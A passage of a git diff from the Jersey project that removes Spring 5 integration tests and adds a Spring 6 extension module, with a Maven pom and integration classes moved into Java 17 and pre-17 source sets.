type {0}, skipping the type. -bean.registered=Spring managed bean, {0}, registered with HK2. -registering.ctx.loader.listener=Registering Spring ContextLoaderListener -skipping.ctx.lodaer.listener.registration=Presuming Spring ContextLoaderListener was manually registered. Skipping context loader registration. -not.in.request.scope=Cannot ask for request attributes - request is not active anymore! diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent2Impl1.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent2Impl1.java deleted file mode 100644 index 25078b67e0f..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent2Impl1.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring; - -import org.springframework.stereotype.Component; - -@Component -public class TestComponent2Impl1 implements TestComponent2 { - @Override - public String result() { - return "test ok"; - } -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent2Impl2.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent2Impl2.java deleted file mode 100644 index a4f33f64bb2..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/TestComponent2Impl2.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring; - -import org.springframework.stereotype.Component; - -@Component -public class TestComponent2Impl2 implements TestComponent2 { - @Override - public String result() { - return "test ok"; - } -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionJerseyTestConfig.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionJerseyTestConfig.java deleted file mode 100644 index 0eb367b5c3b..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionJerseyTestConfig.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.fieldinjection; - -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; - -public class SpringFieldInjectionJerseyTestConfig extends ResourceConfig { - public SpringFieldInjectionJerseyTestConfig() { - register(RequestContextFilter.class); - register(SpringFieldInjectionTestResource.class); - } -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionTest.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionTest.java deleted file mode 100644 index 141d16e7896..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionTest.java +++ /dev/null @@ -1,61 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.fieldinjection; - -import jakarta.ws.rs.core.Application; - -import org.glassfish.jersey.server.spring.SpringTestConfiguration; -import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import org.springframework.context.ApplicationContext; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; - -import static org.junit.Assert.assertEquals; - -public class SpringFieldInjectionTest extends JerseyTest { - - @Override - protected Application configure() { - ApplicationContext context = new AnnotationConfigApplicationContext(SpringTestConfiguration.class); - return new SpringFieldInjectionJerseyTestConfig() - .property("contextConfig", context); - } - - @Test - public void testInjectionOfSingleBean() { - String result = target("test1").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void testInjectionOfListOfBeans() { - String result = target("test2").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void testInjectionOfSetOfBeans() { - String result = target("test3").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void JERSEY_2643() { - String result = target("JERSEY-2643").request().get(String.class); - assertEquals("test ok", result); - } -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionTestResource.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionTestResource.java deleted file mode 100644 index 941e311089b..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/fieldinjection/SpringFieldInjectionTestResource.java +++ /dev/null @@ -1,72 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.fieldinjection; - -import java.util.Iterator; -import java.util.List; -import java.util.Set; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.Path; - -import org.glassfish.jersey.server.spring.NoComponent; -import org.glassfish.jersey.server.spring.TestComponent1; -import org.glassfish.jersey.server.spring.TestComponent2; -import org.springframework.beans.factory.annotation.Autowired; - -@Path("/") -public class SpringFieldInjectionTestResource { - - @Autowired - private TestComponent1 testComponent1; - - @Autowired - private List testComponent2List; - - @Autowired - Set testComponent2Set; - - @Autowired(required = false) - private NoComponent noComponent; - - @Path("test1") - @GET - public String test1() { - return testComponent1.result(); - } - - @Path("test2") - @GET - public String test2() { - return (testComponent2List.size() == 2 && "test ok".equals(testComponent2List.get(0).result()) - && "test ok".equals(testComponent2List.get(1).result())) ? "test ok" : "test failed"; - } - - @Path("test3") - @GET - public String test3() { - Iterator iterator = testComponent2Set.iterator(); - return (testComponent2Set.size() == 2 && "test ok".equals(iterator.next().result()) - && "test ok".equals(iterator.next().result())) ? "test ok" : "test failed"; - } - - @Path("JERSEY-2643") - @GET - public String JERSEY_2643() { - return noComponent == null ? "test ok" : "test failed"; - } - -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionTestResource.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionTestResource.java deleted file mode 100644 index 8a16bbef63d..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/methodinjection/SpringMethodInjectionTestResource.java +++ /dev/null @@ -1,83 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.methodinjection; - -import org.glassfish.jersey.server.spring.NoComponent; -import org.glassfish.jersey.server.spring.TestComponent1; -import org.springframework.beans.factory.annotation.Autowired; - -import java.util.List; -import java.util.Set; -import jakarta.ws.rs.GET; -import jakarta.ws.rs.Path; - -@Path("/") -public class SpringMethodInjectionTestResource { - - private TestComponent1 testComponent1; - private List testComponent2List; - private Set testComponent2Set; - private NoComponent noComponent; - - @Autowired - public void setTestComponent1(TestComponent1 testComponent1) { - this.testComponent1 = testComponent1; - } - - @Autowired - public void setTestComponent2List(List testComponent2List) { - this.testComponent2List = testComponent2List; - } - - @Autowired - public void setTestComponent2Set(Set testComponent2Set) { - this.testComponent2Set = testComponent2Set; - } - - @Autowired(required = false) - public void setNoComponent(NoComponent noComponent) { - this.noComponent = noComponent; - } - - @Path("test1") - @GET - public String test1() { - return testComponent1.result(); - } - - @Path("test2") - @GET - public String test2() { - return (testComponent2List.size() == 2 && "test ok".equals(testComponent2List.get(0).result()) - && "test ok".equals(testComponent2List.get(1).result())) ? "test ok" : "test failed"; - } - - @Path("test3") - @GET - public String test3() { - java.util.Iterator iterator = testComponent2Set.iterator(); - return (testComponent2Set.size() == 2 && "test ok".equals(iterator.next().result()) - && "test ok".equals(iterator.next().result())) ? "test ok" : "test failed"; - } - - @Path("JERSEY-2643") - @GET - public String JERSEY_2643() { - return noComponent == null ? "test ok" : "test failed"; - } - -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionJerseyTestConfig.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionJerseyTestConfig.java deleted file mode 100644 index 598618f6f90..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionJerseyTestConfig.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.parameterinjection; - -import org.glassfish.jersey.server.ResourceConfig; -import org.glassfish.jersey.server.spring.scope.RequestContextFilter; - -public class SpringParameterInjectionJerseyTestConfig extends ResourceConfig { - public SpringParameterInjectionJerseyTestConfig() { - register(RequestContextFilter.class); - register(SpringParameterInjectionTestResource.class); - } -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionTest.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionTest.java deleted file mode 100644 index e6b720e4703..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/parameterinjection/SpringParameterInjectionTest.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.parameterinjection; - -import org.glassfish.jersey.server.spring.SpringTestConfiguration; -import org.glassfish.jersey.server.spring.fieldinjection.SpringFieldInjectionJerseyTestConfig; -import org.glassfish.jersey.test.JerseyTest; -import org.junit.Test; -import org.springframework.context.ApplicationContext; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; - -import jakarta.ws.rs.core.Application; - -import static org.junit.Assert.assertEquals; - -public class SpringParameterInjectionTest extends JerseyTest { - @Override - protected Application configure() { - ApplicationContext context = new AnnotationConfigApplicationContext(SpringTestConfiguration.class); - return new SpringParameterInjectionJerseyTestConfig() - .property("contextConfig", context); - } - - @Test - public void testInjectionOfSingleBean() { - String result = target("test1").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void testInjectionOfListOfBeans() { - String result = target("test2").request().get(String.class); - assertEquals("test ok", result); - } - - @Test - public void testInjectionOfSetOfBeans() { - String result = target("test3").request().get(String.class); - assertEquals("test ok", result); - } -} diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringProfilesTest.java b/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringProfilesTest.java deleted file mode 100644 index be0ac479aee..00000000000 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/profiles/SpringProfilesTest.java +++ /dev/null @@ -1,40 +0,0 @@ -/* - * Copyright (c) 2014, 2019 Oracle and/or its affiliates. All rights reserved. - * - * This program and the accompanying materials are made available under the - * terms of the Eclipse Public License v. 2.0, which is available at - * http://www.eclipse.org/legal/epl-2.0. - * - * This Source Code may also be made available under the following Secondary - * Licenses when the conditions for such availability set forth in the - * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, - * version 2 with the GNU Classpath Exception, which is available at - * https://www.gnu.org/software/classpath/license.html. - * - * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 - */ - -package org.glassfish.jersey.server.spring.profiles; - -import org.junit.Test; -import org.springframework.context.annotation.AnnotationConfigApplicationContext; -import static org.junit.Assert.assertEquals; - -public class SpringProfilesTest { - - @Test - public void shouldGetDefaultBean() { - System.setProperty("spring.profiles.active", ""); - AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext( - "org.glassfish.jersey.server.spring.profiles"); - assertEquals("default", context.getBean(TestService.class).test()); - } - - @Test - public void shouldGetDevProfileBean() { - System.setProperty("spring.profiles.active", "dev"); - AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext( - "org.glassfish.jersey.server.spring.profiles"); - assertEquals("dev", context.getBean(TestService.class).test()); - } -} diff --git a/ext/spring5/src/test/resources/jersey-spring-aspect4j-applicationContext.xml b/ext/spring5/src/test/resources/jersey-spring-aspect4j-applicationContext.xml deleted file mode 100644 index 7abafe382c4..00000000000 --- a/ext/spring5/src/test/resources/jersey-spring-aspect4j-applicationContext.xml +++ /dev/null @@ -1,33 +0,0 @@ - - - - - - - - - - - diff --git a/ext/spring6/pom.xml b/ext/spring6/pom.xml new file mode 100644 index 00000000000..6e871bf24de --- /dev/null +++ b/ext/spring6/pom.xml @@ -0,0 +1,367 @@ + + + + + + 4.0.0 + + + org.glassfish.jersey.ext + project + 3.1.99-SNAPSHOT + + + jersey-spring6 + jersey-spring6 + + jar + + + Jersey extension module providing support for Spring 6 integration. + + + + UTF-8 + ${project.basedir}/target + ${project.basedir}/src/main/javaPre17 + ${project.basedir}/target17 + ${project.basedir}/src/main/java17 + + + + + Spring Repository + spring-repository + https://repo.spring.io/milestone + + + + + + org.glassfish.jersey.core + jersey-server + ${project.version} + + + + org.glassfish.jersey.inject + jersey-hk2 + ${project.version} + + + + org.glassfish.jersey.containers + jersey-container-servlet-core + ${project.version} + + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-grizzly2 + ${project.version} + test + + + + commons-logging + commons-logging + 1.2 + test + + + + org.glassfish.hk2 + hk2 + ${hk2.version} + + + org.ow2.asm + asm + + + + + + org.glassfish.hk2 + spring-bridge + ${hk2.version} + + + jakarta.inject + jakarta.inject + + + org.glassfish.hk2 + hk2-api + + + org.springframework + spring-context + + + + + + org.springframework + spring-beans + ${spring6.version} + provided + + + + org.springframework + spring-core + ${spring6.version} + + + commons-logging + commons-logging + + + provided + + + + org.springframework + spring-context + ${spring6.version} + + + commons-logging + commons-logging + + + provided + + + + org.springframework + spring-web + ${spring6.version} + provided + + + + org.springframework + spring-aop + ${spring6.version} + provided + + + + jakarta.servlet + jakarta.servlet-api + ${servlet6.version} + provided + + + + org.glassfish.jersey.test-framework + jersey-test-framework-core + ${project.version} + test + + + + org.aspectj + aspectjrt + 1.6.11 + test + + + org.aspectj + aspectjweaver + 1.6.11 + test + + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + + + + + SpringExclude + + [1.8,17) + + + ${java.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${javaPre17.sourceDirectory} + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + + org/glassfish/jersey/server/spring/**/*.java + + + + + + + + SpringInclude + + [17,) + + + ${java17.build.outputDirectory} + + + org.codehaus.mojo + build-helper-maven-plugin + + + generate-sources + + add-source + + + + ${java17.sourceDirectory} + + + + + + + + + + copyJDK17FilesToMultiReleaseJar + + + + target17/classes/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.class + + [1.8,17) + + + + + org.apache.felix + maven-bundle-plugin + true + true + + + true + + + + + org.apache.maven.plugins + maven-resources-plugin + true + + + copy-jdk17-classes + prepare-package + + copy-resources + + + ${java.build.outputDirectory}/classes/META-INF/versions/17 + + + ${java17.build.outputDirectory}/classes + + + + + + + + org.apache.maven.plugins + maven-antrun-plugin + + + copy-jdk17-sources + package + + + + sources-jar: ${sources-jar} + + + + + + + run + + + + + + + + + delayed-strategy-skip-test + + + org.glassfish.jersey.injection.manager.strategy + delayed + + + + + + org.apache.maven.plugins + maven-surefire-plugin + + true + + + + + + + diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/package-info.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/package-info.java similarity index 84% rename from ext/spring4/src/main/java/org/glassfish/jersey/server/spring/package-info.java rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/package-info.java index 0176470fce6..229c054ed19 100644 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/package-info.java +++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/package-info.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -15,7 +15,7 @@ */ /** - * Jersey server-side Spring 4 integration classes. - * + * Jersey server-side Spring 6 integration classes. + * @since 3.0.5 */ package org.glassfish.jersey.server.spring; diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java similarity index 83% rename from ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java rename to ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java index e15b2c50222..d4e3c8e8646 100644 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java +++ b/ext/spring6/src/main/java/org/glassfish/jersey/server/spring/scope/package-info.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -15,7 +15,7 @@ */ /** - * Jersey server-side Spring 4 integration injection scopes related classes. - * + * Jersey server-side Spring 6 integration injection scopes related classes. + * @since 3.0.5 */ package org.glassfish.jersey.server.spring.scope; diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java similarity index 98% rename from ext/spring5/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java index 61fc9b17a0e..aca66c9652d 100644 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java similarity index 98% rename from ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java index 07208f5dc77..358f4885775 100644 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringComponentProvider.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringComponentProvider.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2021 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -43,7 +43,7 @@ /** * Custom ComponentProvider class. - * Responsible for 1) bootstrapping Jersey 2 Spring integration and + * Responsible for 1) bootstrapping Jersey 3 Spring integration and * 2) making Jersey skip JAX-RS Spring component life-cycle management and leave it to us. * * @author Marko Asplund (marko.asplund at yahoo.com) diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java similarity index 93% rename from ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java index 5a06926b947..b47ba098367 100644 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringLifecycleListener.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringLifecycleListener.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,7 +27,7 @@ import org.springframework.context.ConfigurableApplicationContext; /** - * JAX-RS Provider class for processing Jersey 2 Spring integration container life-cycle events. + * JAX-RS Provider class for processing Jersey 3 Spring integration container life-cycle events. * * @author Marko Asplund (marko.asplund at yahoo.com) */ diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java similarity index 96% rename from ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java index b33a69d9a2b..8e21bdade2c 100644 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/SpringWebApplicationInitializer.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2018 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java similarity index 97% rename from ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java index ec22efaeb60..35a9e261a1d 100644 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsRequestAttributes.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java similarity index 96% rename from ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java index c32ddbc22f5..4c2d0c2792b 100644 --- a/ext/spring5/src/main/java/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/JaxrsServletRequestAttributes.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2016, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2016, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java similarity index 98% rename from ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java rename to ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java index de87d7e91db..a4896952027 100644 --- a/ext/spring4/src/main/java/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java +++ b/ext/spring6/src/main/java17/org/glassfish/jersey/server/spring/scope/RequestContextFilter.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at diff --git a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/aspect4j/TestAspect.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java similarity index 53% rename from ext/spring5/src/test/java/org/glassfish/jersey/server/spring/aspect4j/TestAspect.java rename to ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java index 458019992ef..747c6072b70 100644 --- a/ext/spring5/src/test/java/org/glassfish/jersey/server/spring/aspect4j/TestAspect.java +++ b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/AutowiredInjectResolver.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -13,31 +13,32 @@ * * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ - -package org.glassfish.jersey.server.spring.aspect4j; +package org.glassfish.jersey.server.spring; import jakarta.inject.Singleton; +import org.glassfish.jersey.internal.inject.Injectee; +import org.glassfish.jersey.internal.inject.InjectionResolver; -import org.aspectj.lang.JoinPoint; -import org.aspectj.lang.annotation.Aspect; -import org.aspectj.lang.annotation.Before; - -@Aspect @Singleton -public class TestAspect { +public class AutowiredInjectResolver implements InjectionResolver { - private int interceptions = 0; + @Override + public Object resolve(Injectee injectee) { + return null; + } - @Before("execution(* org.glassfish.jersey.server.spring.aspect4j.*.*())") - public void intercept(JoinPoint joinPoint) { - interceptions++; + @Override + public boolean isConstructorParameterIndicator() { + return false; } - public int getInterceptions() { - return interceptions; + @Override + public boolean isMethodParameterIndicator() { + return false; } - public void reset() { - interceptions = 0; + @Override + public Class getAnnotation() { + return null; } } diff --git a/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java new file mode 100644 index 00000000000..5f85ffb28a7 --- /dev/null +++ b/ext/spring6/src/main/javaPre17/org/glassfish/jersey/server/spring/SpringComponentProvider.java @@ -0,0 +1,50 @@ +/* + * Copyright (c) 2013, 2022 Oracle 